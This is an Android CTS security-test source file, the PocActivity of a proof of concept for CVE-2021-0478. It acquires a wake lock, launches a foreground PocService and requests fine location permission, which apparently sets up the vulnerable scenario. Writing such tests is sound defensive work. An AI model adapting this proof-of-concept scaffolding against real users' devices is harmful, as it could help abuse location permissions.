1 /* 2 * Copyright (C) 2021 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts.cve_2021_0478; 18 19 import android.app.Activity; 20 import android.content.Context; 21 import android.content.Intent; 22 import android.content.pm.PackageManager; 23 import android.Manifest; 24 import android.os.Bundle; 25 import android.os.PowerManager; 26 import android.os.PowerManager.WakeLock; 27 28 public class PocActivity extends Activity { 29 private WakeLock mScreenLock; 30 private Context mContext; 31 32 @Override onCreate(Bundle savedInstanceState)33 protected void onCreate(Bundle savedInstanceState) { 34 try { 35 mContext = this.getApplicationContext(); 36 PowerManager pm = mContext.getSystemService(PowerManager.class); 37 mScreenLock = pm.newWakeLock( 38 PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, 39 "PocActivity"); 40 mScreenLock.acquire(); 41 super.onCreate(savedInstanceState); 42 setContentView(R.layout.activity_main); 43 startServices(); 44 } catch (Exception e) { 45 e.printStackTrace(); 46 } 47 48 } 49 startServices()50 void startServices() { 51 try { 52 startForegroundService(new Intent(this, PocService.class)); 53 requestPermission(); 54 } catch (Exception e) { 55 e.printStackTrace(); 56 } 57 } 58 requestPermission()59 void requestPermission() { 60 try { 61 this.requestPermissions(new String[] {Manifest.permission.ACCESS_FINE_LOCATION}, 12); 62 } catch (Exception e) { 63 e.printStackTrace(); 64 } 65 } 66 67 @Override onDestroy()68 protected void onDestroy() { 69 super.onDestroy(); 70 mScreenLock.release(); 71 } 72 } 73